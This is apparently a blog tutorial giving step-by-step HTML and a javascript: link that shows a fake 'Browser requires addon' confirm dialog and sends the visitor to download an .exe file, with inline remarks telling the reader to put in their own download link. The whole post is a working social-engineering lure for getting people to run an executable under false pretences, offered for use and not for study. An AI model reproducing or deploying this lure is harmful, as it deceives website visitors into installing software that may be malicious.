First you need to create and html page.Start out with,
<html>
<body>
Your Code Will Come Here
</body>
</html>
<a href="javascript: if (confirm('Browser requires addon to view this website, click continue to download addon.')){
( This will be the message that pops up on the dialog bog)
window.location.href='www.yourlinktodownload.com/something.exe' }
( This is the location the script will point to when you click the OK button. So put your link of where you want the page to be directed or what you want downloaded.)
else { void('')
( This will close the popup if the user clicks cancle.)
};">Text to be viewed on Webpage</a>
Text that you want written on your webpage.
So your code should be looking like this...
<html>
<body>
<a href="javascript: if (confirm('Browser requires addon to view this website, click continue to download addon.')) { window.location.href='www.yourlinktodownload.com/something.exe' } else { void('') };">Text to be viewed on Webpage</a>
</body>
</html>
No comments:
Post a Comment